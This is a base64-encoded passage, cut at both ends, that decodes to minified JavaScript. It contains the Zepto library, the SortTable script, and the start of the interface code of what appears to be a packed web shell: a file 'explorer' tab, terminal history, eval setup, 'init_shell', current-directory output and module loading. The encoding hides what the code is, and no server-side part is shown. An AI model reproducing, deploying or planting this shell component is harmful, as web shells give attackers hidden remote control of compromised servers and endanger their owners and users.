i5yZXNwb25zZVhNTDpkYXRhVHlwZT09Impzb24iJiYocmVzdWx0PWJsYW5rUkUudGVzdChyZXN1bHQpP251bGw6JC5wYXJzZUpTT04ocmVzdWx0KSl9Y2F0Y2goZSl7ZXJyb3I9ZX1lcnJvcj9hamF4RXJyb3IoZXJyb3IsInBhcnNlcmVycm9yIix4aHIsc2V0dGluZ3MsZGVmZXJyZWQpOmFqYXhTdWNjZXNzKHJlc3VsdCx4aHIsc2V0dGluZ3MsZGVmZXJyZWQpfWVsc2UgYWpheEVycm9yKHhoci5zdGF0dXNUZXh0fHxudWxsLHhoci5zdGF0dXM/ImVycm9yIjoiYWJvcnQiLHhocixzZXR0aW5ncyxkZWZlcnJlZCl9fTtpZihhamF4QmVmb3JlU2VuZCh4aHIsc2V0dGluZ3MpPT09ITEpcmV0dXJuIHhoci5hYm9ydCgpLGFqYXhFcnJvcihudWxsLCJhYm9ydCIseGhyLHNldHRpbmdzLGRlZmVycmVkKSx4aHI7aWYoc2V0dGluZ3MueGhyRmllbGRzKWZvcihuYW1lIGluIHNldHRpbmdzLnhockZpZWxkcyl4aHJbbmFtZV09c2V0dGluZ3MueGhyRmllbGRzW25hbWVdO3ZhciBhc3luYz0iYXN5bmMiaW4gc2V0dGluZ3M/c2V0dGluZ3MuYXN5bmM6ITA7eGhyLm9wZW4oc2V0dGluZ3MudHlwZSxzZXR0aW5ncy51cmwsYXN5bmMsc2V0dGluZ3MudXNlcm5hbWUsc2V0dGluZ3MucGFzc3dvcmQpO2ZvcihuYW1lIGluIGhlYWRlcnMpbmF0aXZlU2V0SGVhZGVyLmFwcGx5KHhocixoZWFkZXJzW25hbWVdKTtyZXR1cm4gc2V0dGluZ3MudGltZW91dD4wJiYoYWJvcnRUaW1lb3V0PXNldFRpbWVvdXQoZnVuY3Rpb24oKXt4aHIub25yZWFkeXN0YXRlY2hhbmdlPWVtcHR5LHhoci5hYm9ydCgpLGFqYXhFcnJvcihudWxsLCJ0aW1lb3V0Iix4aHIsc2V0dGluZ3MsZGVmZXJyZWQpfSxzZXR0aW5ncy50aW1lb3V0KSkseGhyLnNlbmQoc2V0dGluZ3MuZGF0YT9zZXR0aW5ncy5kYXRhOm51bGwpLHhocn0sJC5nZXQ9ZnVuY3Rpb24oYSxiLGMsZCl7cmV0dXJuICQuYWpheChwYXJzZUFyZ3VtZW50cy5hcHBseShudWxsLGFyZ3VtZW50cykpfSwkLnBvc3Q9ZnVuY3Rpb24oYSxiLGMsZCl7dmFyIGU9cGFyc2VBcmd1bWVudHMuYXBwbHkobnVsbCxhcmd1bWVudHMpO3JldHVybiBlLnR5cGU9IlBPU1QiLCQuYWpheChlKX0sJC5nZXRKU09OPWZ1bmN0aW9uKGEsYixjKXt2YXIgZD1wYXJzZUFyZ3VtZW50cy5hcHBseShudWxsLGFyZ3VtZW50cyk7cmV0dXJuIGQuZGF0YVR5cGU9Impzb24iLCQuYWpheChkKX0sJC5mbi5sb2FkPWZ1bmN0aW9uKGEsYixjKXtpZighdGhpcy5sZW5ndGgpcmV0dXJuIHRoaXM7dmFyIGQ9dGhpcyxlPWEuc3BsaXQoL1xzLyksZixnPXBhcnNlQXJndW1lbnRzKGEsYixjKSxoPWcuc3VjY2VzcztyZXR1cm4gZS5sZW5ndGg+MSYmKGcudXJsPWVbMF0sZj1lWzFdKSxnLnN1Y2Nlc3M9ZnVuY3Rpb24oYSl7ZC5odG1sKGY/JCgiPGRpdj4iKS5odG1sKGEucmVwbGFjZShyc2NyaXB0LCIiKSkuZmluZChmKTphKSxoJiZoLmFwcGx5KGQsYXJndW1lbnRzKX0sJC5hamF4KGcpLHRoaXN9O3ZhciBlc2NhcGU9ZW5jb2RlVVJJQ29tcG9uZW50OyQucGFyYW09ZnVuY3Rpb24oYSxiKXt2YXIgYz1bXTtyZXR1cm4gYy5hZGQ9ZnVuY3Rpb24oYSxiKXt0aGlzLnB1c2goZXNjYXBlKGEpKyI9Iitlc2NhcGUoYikpfSxzZXJpYWxpemUoYyxhLGIpLGMuam9pbigiJiIpLnJlcGxhY2UoLyUyMC9nLCIrIil9fShaZXB0byksZnVuY3Rpb24oYSl7YS5mbi5zZXJpYWxpemVBcnJheT1mdW5jdGlvbigpe3ZhciBiPVtdLGM7cmV0dXJuIGEoW10uc2xpY2UuY2FsbCh0aGlzLmdldCgwKS5lbGVtZW50cykpLmVhY2goZnVuY3Rpb24oKXtjPWEodGhpcyk7dmFyIGQ9Yy5hdHRyKCJ0eXBlIik7dGhpcy5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpIT0iZmllbGRzZXQiJiYhdGhpcy5kaXNhYmxlZCYmZCE9InN1Ym1pdCImJmQhPSJyZXNldCImJmQhPSJidXR0b24iJiYoZCE9InJhZGlvIiYmZCE9ImNoZWNrYm94Inx8dGhpcy5jaGVja2VkKSYmYi5wdXNoKHtuYW1lOmMuYXR0cigibmFtZSIpLHZhbHVlOmMudmFsKCl9KX0pLGJ9LGEuZm4uc2VyaWFsaXplPWZ1bmN0aW9uKCl7dmFyIGE9W107cmV0dXJuIHRoaXMuc2VyaWFsaXplQXJyYXkoKS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2EucHVzaChlbmNvZGVVUklDb21wb25lbnQoYi5uYW1lKSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KGIudmFsdWUpKX0pLGEuam9pbigiJiIpfSxhLmZuLnN1Ym1pdD1mdW5jdGlvbihiKXtpZihiKXRoaXMuYmluZCgic3VibWl0IixiKTtlbHNlIGlmKHRoaXMubGVuZ3RoKXt2YXIgYz1hLkV2ZW50KCJzdWJtaXQiKTt0aGlzLmVxKDApLnRyaWdnZXIoYyksYy5pc0RlZmF1bHRQcmV2ZW50ZWQoKXx8dGhpcy5nZXQoMCkuc3VibWl0KCl9cmV0dXJuIHRoaXN9fShaZXB0byksZnVuY3Rpb24oYSl7Il9fcHJvdG9fXyJpbnt9fHxhLmV4dGVuZChhLnplcHRvLHtaOmZ1bmN0aW9uKGIsYyl7cmV0dXJuIGI9Ynx8W10sYS5leHRlbmQoYixhLmZuKSxiLnNlbGVjdG9yPWN8fCIiLGIuX19aPSEwLGJ9LGlzWjpmdW5jdGlvbihiKXtyZXR1cm4gYS50eXBlKGIpPT09ImFycmF5IiYmIl9fWiJpbiBifX0pO3RyeXtnZXRDb21wdXRlZFN0eWxlKHVuZGVmaW5lZCl9Y2F0Y2goYil7dmFyIGM9Z2V0Q29tcHV0ZWRTdHlsZTt3aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZT1mdW5jdGlvbihhKXt0cnl7cmV0dXJuIGMoYSl9Y2F0Y2goYil7cmV0dXJuIG51bGx9fX19KFplcHRvKQoKCi8qKgoqCiogU29ydFRhYmxlCiogdmVyc2lvbiAyCiogN3RoIEFwcmlsIDIwMDcKKiBTdHVhcnQgTGFuZ3JpZGdlLCBodHRwOi8vd3d3LmtyeW9nZW5peC5vcmcvY29kZS9icm93c2VyL3NvcnR0YWJsZS8KKgoqKi8KdmFyIGg9ITAsaj0hMTsKc29ydHRhYmxlPXtlOmZ1bmN0aW9uKCl7YXJndW1lbnRzLmNhbGxlZS5pfHwoYXJndW1lbnRzLmNhbGxlZS5pPWgsayYmY2xlYXJJbnRlcnZhbChrKSxkb2N1bWVudC5jcmVhdGVFbGVtZW50JiZkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSYmKHNvcnR0YWJsZS5hPS9eKFxkXGQ/KVtcL1wuLV0oXGRcZD8pW1wvXC4tXSgoXGRcZCk/XGRcZCkkLyxsKGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0YWJsZSIpLGZ1bmN0aW9uKGEpey0xIT1hLmNsYXNzTmFtZS5zZWFyY2goL1xic29ydGFibGVcYi8pJiZzb3J0dGFibGUuayhhKX0pKSl9LGs6ZnVuY3Rpb24oYSl7MD09YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGhlYWQiKS5sZW5ndGgmJih0aGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgidGhlYWQiKSx0aGUuYXBwZW5kQ2hpbGQoYS5yb3dzWzBdKSxhLmluc2VydEJlZm9yZSh0aGUsYS5maXJzdENoaWxkKSk7bnVsbD09YS50SGVhZCYmKGEudEhlYWQ9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGhlYWQiKVswXSk7CmlmKDE9PWEudEhlYWQucm93cy5sZW5ndGgpe3NvcnRib3R0b21yb3dzPVtdO2Zvcih2YXIgYj0wO2I8YS5yb3dzLmxlbmd0aDtiKyspLTEhPWEucm93c1tiXS5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnRib3R0b21cYi8pJiYoc29ydGJvdHRvbXJvd3Nbc29ydGJvdHRvbXJvd3MubGVuZ3RoXT1hLnJvd3NbYl0pO2lmKHNvcnRib3R0b21yb3dzKXtudWxsPT1hLnRGb290JiYodGZvPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInRmb290IiksYS5hcHBlbmRDaGlsZCh0Zm8pKTtmb3IoYj0wO2I8c29ydGJvdHRvbXJvd3MubGVuZ3RoO2IrKyl0Zm8uYXBwZW5kQ2hpbGQoc29ydGJvdHRvbXJvd3NbYl0pO2RlbGV0ZSBzb3J0Ym90dG9tcm93c31oZWFkcm93PWEudEhlYWQucm93c1swXS5jZWxscztmb3IoYj0wO2I8aGVhZHJvdy5sZW5ndGg7YisrKWlmKCFoZWFkcm93W2JdLmNsYXNzTmFtZS5tYXRjaCgvXGJzb3J0dGFibGVfbm9zb3J0XGIvKSl7KG10Y2g9aGVhZHJvd1tiXS5jbGFzc05hbWUubWF0Y2goL1xic29ydHRhYmxlXyhbYS16MC05XSspXGIvKSkmJgoob3ZlcnJpZGU9bXRjaFsxXSk7aGVhZHJvd1tiXS5wPW10Y2gmJiJmdW5jdGlvbiI9PXR5cGVvZiBzb3J0dGFibGVbInNvcnRfIitvdmVycmlkZV0/c29ydHRhYmxlWyJzb3J0XyIrb3ZlcnJpZGVdOnNvcnR0YWJsZS5qKGEsYik7aGVhZHJvd1tiXS5vPWI7aGVhZHJvd1tiXS5jPWEudEJvZGllc1swXTt2YXIgYz1oZWFkcm93W2JdLGU9c29ydHRhYmxlLnE9ZnVuY3Rpb24oKXtpZigtMSE9dGhpcy5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnR0YWJsZV9zb3J0ZWRcYi8pKXNvcnR0YWJsZS5yZXZlcnNlKHRoaXMuYyksdGhpcy5jbGFzc05hbWU9dGhpcy5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZCIsInNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZSIpLHRoaXMucmVtb3ZlQ2hpbGQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNvcnR0YWJsZV9zb3J0ZndkaW5kIikpLHNvcnRyZXZpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpLHNvcnRyZXZpbmQuaWQ9InNvcnR0YWJsZV9zb3J0cmV2aW5kIiwKc29ydHJldmluZC5pbm5lckhUTUw9IiZuYnNwOyYjeDI1QjQ7Iix0aGlzLmFwcGVuZENoaWxkKHNvcnRyZXZpbmQpO2Vsc2UgaWYoLTEhPXRoaXMuY2xhc3NOYW1lLnNlYXJjaCgvXGJzb3J0dGFibGVfc29ydGVkX3JldmVyc2VcYi8pKXNvcnR0YWJsZS5yZXZlcnNlKHRoaXMuYyksdGhpcy5jbGFzc05hbWU9dGhpcy5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZF9yZXZlcnNlIiwic29ydHRhYmxlX3NvcnRlZCIpLHRoaXMucmVtb3ZlQ2hpbGQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNvcnR0YWJsZV9zb3J0cmV2aW5kIikpLHNvcnRmd2RpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpLHNvcnRmd2RpbmQuaWQ9InNvcnR0YWJsZV9zb3J0ZndkaW5kIixzb3J0ZndkaW5kLmlubmVySFRNTD0iJm5ic3A7JiN4MjVCRTsiLHRoaXMuYXBwZW5kQ2hpbGQoc29ydGZ3ZGluZCk7ZWxzZXt0aGVhZHJvdz10aGlzLnBhcmVudE5vZGU7bCh0aGVhZHJvdy5jaGlsZE5vZGVzLApmdW5jdGlvbihhKXsxPT1hLm5vZGVUeXBlJiYoYS5jbGFzc05hbWU9YS5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZF9yZXZlcnNlIiwiIiksYS5jbGFzc05hbWU9YS5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZCIsIiIpKX0pOyhzb3J0ZndkaW5kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzb3J0dGFibGVfc29ydGZ3ZGluZCIpKSYmc29ydGZ3ZGluZC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHNvcnRmd2RpbmQpOyhzb3J0cmV2aW5kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzb3J0dGFibGVfc29ydHJldmluZCIpKSYmc29ydHJldmluZC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHNvcnRyZXZpbmQpO3RoaXMuY2xhc3NOYW1lKz0iIHNvcnR0YWJsZV9zb3J0ZWQiO3NvcnRmd2RpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpO3NvcnRmd2RpbmQuaWQ9InNvcnR0YWJsZV9zb3J0ZndkaW5kIjtzb3J0ZndkaW5kLmlubmVySFRNTD0KIiZuYnNwOyYjeDI1QkU7Ijt0aGlzLmFwcGVuZENoaWxkKHNvcnRmd2RpbmQpO3Jvd19hcnJheT1bXTtjb2w9dGhpcy5vO3Jvd3M9dGhpcy5jLnJvd3M7Zm9yKHZhciBhPTA7YTxyb3dzLmxlbmd0aDthKyspcm93X2FycmF5W3Jvd19hcnJheS5sZW5ndGhdPVtzb3J0dGFibGUuZChyb3dzW2FdLmNlbGxzW2NvbF0pLHJvd3NbYV1dO3Jvd19hcnJheS5zb3J0KHRoaXMucCk7dGI9dGhpcy5jO2ZvcihhPTA7YTxyb3dfYXJyYXkubGVuZ3RoO2ErKyl0Yi5hcHBlbmRDaGlsZChyb3dfYXJyYXlbYV1bMV0pO2RlbGV0ZSByb3dfYXJyYXl9fTtpZihjLmFkZEV2ZW50TGlzdGVuZXIpYy5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZSxqKTtlbHNle2UuZnx8KGUuZj1uKyspO2MuYnx8KGMuYj17fSk7dmFyIGc9Yy5iLmNsaWNrO2d8fChnPWMuYi5jbGljaz17fSxjLm9uY2xpY2smJihnWzBdPWMub25jbGljaykpO2dbZS5mXT1lO2Mub25jbGljaz1wfX19fSxqOmZ1bmN0aW9uKGEsYil7c29ydGZuPQpzb3J0dGFibGUubDtmb3IodmFyIGM9MDtjPGEudEJvZGllc1swXS5yb3dzLmxlbmd0aDtjKyspaWYodGV4dD1zb3J0dGFibGUuZChhLnRCb2RpZXNbMF0ucm93c1tjXS5jZWxsc1tiXSksIiIhPXRleHQpe2lmKHRleHQubWF0Y2goL14tP1tcdTAwYTMkXHUwMGE0XT9bXGQsLl0rJT8kLykpcmV0dXJuIHNvcnR0YWJsZS5uO2lmKHBvc3NkYXRlPXRleHQubWF0Y2goc29ydHRhYmxlLmEpKXtmaXJzdD1wYXJzZUludChwb3NzZGF0ZVsxXSk7c2Vjb25kPXBhcnNlSW50KHBvc3NkYXRlWzJdKTtpZigxMjxmaXJzdClyZXR1cm4gc29ydHRhYmxlLmc7aWYoMTI8c2Vjb25kKXJldHVybiBzb3J0dGFibGUubTtzb3J0Zm49c29ydHRhYmxlLmd9fXJldHVybiBzb3J0Zm59LGQ6ZnVuY3Rpb24oYSl7aWYoIWEpcmV0dXJuIiI7aGFzSW5wdXRzPSJmdW5jdGlvbiI9PXR5cGVvZiBhLmdldEVsZW1lbnRzQnlUYWdOYW1lJiZhLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpLmxlbmd0aDtpZigiIiE9CmEudGl0bGUpcmV0dXJuIGEudGl0bGU7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiBhLnRleHRDb250ZW50JiYhaGFzSW5wdXRzKXJldHVybiBhLnRleHRDb250ZW50LnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtpZigidW5kZWZpbmVkIiE9dHlwZW9mIGEuaW5uZXJUZXh0JiYhaGFzSW5wdXRzKXJldHVybiBhLmlubmVyVGV4dC5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiBhLnRleHQmJiFoYXNJbnB1dHMpcmV0dXJuIGEudGV4dC5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7c3dpdGNoKGEubm9kZVR5cGUpe2Nhc2UgMzppZigiaW5wdXQiPT1hLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkpcmV0dXJuIGEudmFsdWUucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2Nhc2UgNDpyZXR1cm4gYS5ub2RlVmFsdWUucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2Nhc2UgMTpjYXNlIDExOmZvcih2YXIgYj0iIixjPTA7YzxhLmNoaWxkTm9kZXMubGVuZ3RoO2MrKyliKz0Kc29ydHRhYmxlLmQoYS5jaGlsZE5vZGVzW2NdKTtyZXR1cm4gYi5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7ZGVmYXVsdDpyZXR1cm4iIn19LHJldmVyc2U6ZnVuY3Rpb24oYSl7bmV3cm93cz1bXTtmb3IodmFyIGI9MDtiPGEucm93cy5sZW5ndGg7YisrKW5ld3Jvd3NbbmV3cm93cy5sZW5ndGhdPWEucm93c1tiXTtmb3IoYj1uZXdyb3dzLmxlbmd0aC0xOzA8PWI7Yi0tKWEuYXBwZW5kQ2hpbGQobmV3cm93c1tiXSk7ZGVsZXRlIG5ld3Jvd3N9LG46ZnVuY3Rpb24oYSxiKXthYT1wYXJzZUZsb2F0KGFbMF0ucmVwbGFjZSgvW14wLTkuLV0vZywiIikpO2lzTmFOKGFhKSYmKGFhPTApO2JiPXBhcnNlRmxvYXQoYlswXS5yZXBsYWNlKC9bXjAtOS4tXS9nLCIiKSk7aXNOYU4oYmIpJiYoYmI9MCk7cmV0dXJuIGFhLWJifSxsOmZ1bmN0aW9uKGEsYil7cmV0dXJuIGFbMF0udG9Mb3dlckNhc2UoKT09YlswXS50b0xvd2VyQ2FzZSgpPzA6YVswXS50b0xvd2VyQ2FzZSgpPGJbMF0udG9Mb3dlckNhc2UoKT8KLTE6MX0sZzpmdW5jdGlvbihhLGIpe210Y2g9YVswXS5tYXRjaChzb3J0dGFibGUuYSk7eT1tdGNoWzNdO209bXRjaFsyXTtkPW10Y2hbMV07MT09bS5sZW5ndGgmJihtPSIwIittKTsxPT1kLmxlbmd0aCYmKGQ9IjAiK2QpO2R0MT15K20rZDttdGNoPWJbMF0ubWF0Y2goc29ydHRhYmxlLmEpO3k9bXRjaFszXTttPW10Y2hbMl07ZD1tdGNoWzFdOzE9PW0ubGVuZ3RoJiYobT0iMCIrbSk7MT09ZC5sZW5ndGgmJihkPSIwIitkKTtkdDI9eSttK2Q7cmV0dXJuIGR0MT09ZHQyPzA6ZHQxPGR0Mj8tMToxfSxtOmZ1bmN0aW9uKGEsYil7bXRjaD1hWzBdLm1hdGNoKHNvcnR0YWJsZS5hKTt5PW10Y2hbM107ZD1tdGNoWzJdO209bXRjaFsxXTsxPT1tLmxlbmd0aCYmKG09IjAiK20pOzE9PWQubGVuZ3RoJiYoZD0iMCIrZCk7ZHQxPXkrbStkO210Y2g9YlswXS5tYXRjaChzb3J0dGFibGUuYSk7eT1tdGNoWzNdO2Q9bXRjaFsyXTttPW10Y2hbMV07MT09bS5sZW5ndGgmJihtPSIwIittKTsxPT1kLmxlbmd0aCYmCihkPSIwIitkKTtkdDI9eSttK2Q7cmV0dXJuIGR0MT09ZHQyPzA6ZHQxPGR0Mj8tMToxfSxyOmZ1bmN0aW9uKGEsYil7Zm9yKHZhciBjPTAsZT1hLmxlbmd0aC0xLGc9aDtnOyl7Zm9yKHZhciBnPWosZj1jO2Y8ZTsrK2YpMDxiKGFbZl0sYVtmKzFdKSYmKGc9YVtmXSxhW2ZdPWFbZisxXSxhW2YrMV09ZyxnPWgpO2UtLTtpZighZylicmVhaztmb3IoZj1lO2Y+YzstLWYpMD5iKGFbZl0sYVtmLTFdKSYmKGc9YVtmXSxhW2ZdPWFbZi0xXSxhW2YtMV09ZyxnPWgpO2MrK319fTtkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyJiZkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixzb3J0dGFibGUuZSxqKTtpZigvV2ViS2l0L2kudGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSl2YXIgaz1zZXRJbnRlcnZhbChmdW5jdGlvbigpey9sb2FkZWR8Y29tcGxldGUvLnRlc3QoZG9jdW1lbnQucmVhZHlTdGF0ZSkmJnNvcnR0YWJsZS5lKCl9LDEwKTsKd2luZG93Lm9ubG9hZD1zb3J0dGFibGUuZTt2YXIgbj0xO2Z1bmN0aW9uIHAoYSl7dmFyIGI9aDthfHwoYT0oKHRoaXMub3duZXJEb2N1bWVudHx8dGhpcy5kb2N1bWVudHx8dGhpcykucGFyZW50V2luZG93fHx3aW5kb3cpLmV2ZW50LGEucHJldmVudERlZmF1bHQ9cSxhLnN0b3BQcm9wYWdhdGlvbj1yKTt2YXIgYz10aGlzLmJbYS50eXBlXSxlO2ZvcihlIGluIGMpdGhpcy5oPWNbZV0sdGhpcy5oKGEpPT09aiYmKGI9aik7cmV0dXJuIGJ9ZnVuY3Rpb24gcSgpe3RoaXMucmV0dXJuVmFsdWU9an1mdW5jdGlvbiByKCl7dGhpcy5jYW5jZWxCdWJibGU9aH1BcnJheS5mb3JFYWNofHwoQXJyYXkuZm9yRWFjaD1mdW5jdGlvbihhLGIsYyl7Zm9yKHZhciBlPTA7ZTxhLmxlbmd0aDtlKyspYi5jYWxsKGMsYVtlXSxlLGEpfSk7CkZ1bmN0aW9uLnByb3RvdHlwZS5mb3JFYWNoPWZ1bmN0aW9uKGEsYixjKXtmb3IodmFyIGUgaW4gYSkidW5kZWZpbmVkIj09dHlwZW9mIHRoaXMucHJvdG90eXBlW2VdJiZiLmNhbGwoYyxhW2VdLGUsYSl9O1N0cmluZy5mb3JFYWNoPWZ1bmN0aW9uKGEsYixjKXtBcnJheS5mb3JFYWNoKGEuc3BsaXQoIiIpLGZ1bmN0aW9uKGUsZyl7Yi5jYWxsKGMsZSxnLGEpfSl9O2Z1bmN0aW9uIGwoYSxiKXtpZihhKXt2YXIgYz1PYmplY3Q7aWYoYSBpbnN0YW5jZW9mIEZ1bmN0aW9uKWM9RnVuY3Rpb247ZWxzZXtpZihhLmZvckVhY2ggaW5zdGFuY2VvZiBGdW5jdGlvbil7YS5mb3JFYWNoKGIsdm9pZCAwKTtyZXR1cm59InN0cmluZyI9PXR5cGVvZiBhP2M9U3RyaW5nOiJudW1iZXIiPT10eXBlb2YgYS5sZW5ndGgmJihjPUFycmF5KX1jLmZvckVhY2goYSxiLHZvaWQgMCl9fTsKCnZhciBsb2FkaW5nX2NvdW50ID0gMDsKdmFyIHJ1bm5pbmcgPSBmYWxzZTsKdmFyIGRlZmF1bHRUYWIgPSAnZXhwbG9yZXInOwp2YXIgY3VycmVudFRhYiA9ICQoJyMnK2RlZmF1bHRUYWIpOwp2YXIgdGFiU2Nyb2xsID0gbmV3IE9iamVjdDsKdmFyIG9uRHJhZyA9IGZhbHNlOwp2YXIgb25TY3JvbGwgPSBmYWxzZTsKdmFyIHNjcm9sbERlbHRhID0gMTsKdmFyIHNjcm9sbENvdW50ZXIgPSAwOwp2YXIgc2Nyb2xsU3BlZWQgPSA2MDsKdmFyIHNjcm9sbFRpbWVyID0gJyc7CnZhciBkcmFnWCA9ICcnOwp2YXIgZHJhZ1kgPSAnJzsKdmFyIGRyYWdEZWx0YVggPSAnJzsKdmFyIGRyYWdEZWx0YVkgPSAnJzsKdmFyIGVkaXRTdWNjZXNzID0gJyc7CnZhciB0ZXJtaW5hbEhpc3RvcnkgPSBuZXcgQXJyYXkoKTsKdmFyIHRlcm1pbmFsSGlzdG9yeVBvcyA9IDA7CnZhciBldmFsU3VwcG9ydGVkID0gIiI7CnZhciBldmFsUmVhZHkgPSBmYWxzZTsKdmFyIHJlc2l6ZVRpbWVyID0gJyc7CnZhciBwb3J0YWJsZVdpZHRoID0gNzAwOwp2YXIgcG9ydGFibGVNb2RlID0gbnVsbDsKClplcHRvKGZ1bmN0aW9uKCQpewoJaWYoaW5pdF9zaGVsbCl7CgkJdmFyIG5vdyA9IG5ldyBEYXRlKCk7CgkJb3V0cHV0KCJzdGFydGVkIEAgIisgbm93LnRvR01UU3RyaW5nKCkpOwoJCW91dHB1dCgiY3dkIDogIitnZXRfY3dkKCkpOwoJCW91dHB1dCgibW9kdWxlIDogIittb2R1bGVfdG9fbG9hZCk7CgoJCXNob3dfdGFiKCk7CgkJeHBsX2JpbmQoKTsKCQlldmFsX2luaXQoKTsKCQkKCQl3aW5kb3dfcmVzaXplKCk7CgkJCgkJeHBsX3VwZGF0ZV9zdGF0dXMoKTsKCQkKCQkkKHdpbmRvdykub24oJ3Jlc2l6ZScsIGZ1bmN0aW9uKGUpewoJCQljbGVhclRpbWVvdXQocmVzaXplVGltZXIpOwoJCQlyZXNpemVUaW1lciA9IHNldFRpbWVvdXQoIndpbmRvd19yZXNpemUoKSIsIDEwMDApOwoJCX0pOwoKCQkkKCcubWVudWl0ZW0nKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQkJc2VsZWN0ZWRUYWIgPSAkKHRoaXMpLmF0dHIoJ2hyZWYnKS5zdWJzdHIoMik7CgkJCXNob3dfdGFiKHNlbGVjdGVkVGFiKTsKCQl9KTsKCgkJJCgnI2xvZ291dCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCQl2YXIgY29va2llID0gZG9jdW1lbnQuY29va2llLnNwbGl0KCc7Jyk7CgkJCWZvcih2YXIgaT0wOyBpPGNvb2tpZS5sZW5ndGg7IGkrKyl7CgkJCQl2YXIgZW50cmllcyA9IGNvb2tpZVtpXSwgZW50cnkgPSBlbnRyaWVzLnNwbGl0KCI9IiksIG5hbWUgPSBlbnRyeVswXTsKCQkJCWRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPScnOyBleHBpcmVzPVRodSwgMDEgSmFuIDE5NzAgMDA6MDA6MDEgR01UOyBwYXRoPS8iOwoJCQl9CgkJCWxvY2FsU3RvcmFnZS5jbGVhcigpOwoJCQlsb2NhdGlvbi5ocmVmID0gdGFyZ2V0dXJsOwoJCX0pOwoKCQkkKCcjdG90b3AnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQkJJCh3aW5kb3cpLnNjcm9sbFRvcCgwKTsKCQl9KTsKCQkkKCcjdG90b3AnKS5vbignbW91c2VvdmVyJywgZnVuY3Rpb24oZSl7CgkJCW9uU2Nyb2xsID0gdHJ1ZTsKCQkJY2xlYXJUaW1lb3V0KHNjcm9sbFRpbWVyKTsKCQkJc3RhcnRfc2Nyb2xsKCd0b3AnKTsKCQl9KTsKCQkkKCcjdG90b3AnKS5vbignbW91c2VvdXQnLCBmdW5jdGlvbihlKXsKCQkJb25TY3JvbGwgPSBmYWxzZTsKCQkJc2Nyb2xsQ291bnRlciA9IDA7CgkJfSk7CgkJJCgnI3RvYm90dG9tJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJCSQod2luZG93KS5zY3JvbGxUb3AoJChkb2N1bWVudCkuaGVpZ2h0KCktJCh3aW5kb3cpLmhlaWdodCgpKTsKCQl9KTsKCQkkKCcjdG9ib3R0b20nKS5vbignbW91c2VvdmVyJywgZnVuY3Rpb24oZSl7CgkJCW9uU2Nyb2xsID0gdHJ1ZTsKCQkJY2xlYXJUaW1lb3V0KHNjcm9sbFRpbWVyKTsKCQkJc3RhcnRfc2Nyb2xsKCdib3R0b20nKTsKCQl9KTsKCQkkKCcjdG9ib3R0b20nKS5vbignbW91c2VvdXQnLCBmdW5jdGlvbihlKXsKCQkJb25TY3JvbGwgPSBmYWxzZTsKCQkJc2Nyb2xsQ291bnRlciA9IDA7CgkJfSk7CgkJJCgnI2Jhc2ljSW5mbycpLm9uKCdtb3VzZWVudGVyJywgZnVuY3Rpb24oZSl7CgkJCSQoJyN0b2dnbGVCYXNpY0luZm8nKS5zaG93KCk7CgkJfSk7CgkJJCgnI2Jhc2ljSW5mbycpLm9uKCdtb3VzZWxlYXZlJywgZnVuY3Rpb24oZSl7CgkJCSQoJyN0b2dnbGVCYXNpY0luZm8nKS5oaWRlKCk7CgkJfSk7CgkJJCgnI3RvZ2dsZUJhc2ljSW5mbycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCQkkKCcjYmFzaWNJbmZvJykuaGlkZSgpOwoJCQkkKCcjc2hvd2luZm8nKS5zaG93KCk7CgkJCSQoJyN0b2dnbGVCYXNpY0luZm8nKS5oaWRlKCk7CgkJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdpbmZvQmFyU2hvd24nLCAnaGlkZGVuJyk7CgkJfSk7CgkJJCgnI3Nob3dpbmZvJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJCSQoJyNiYXNpY0luZm8nKS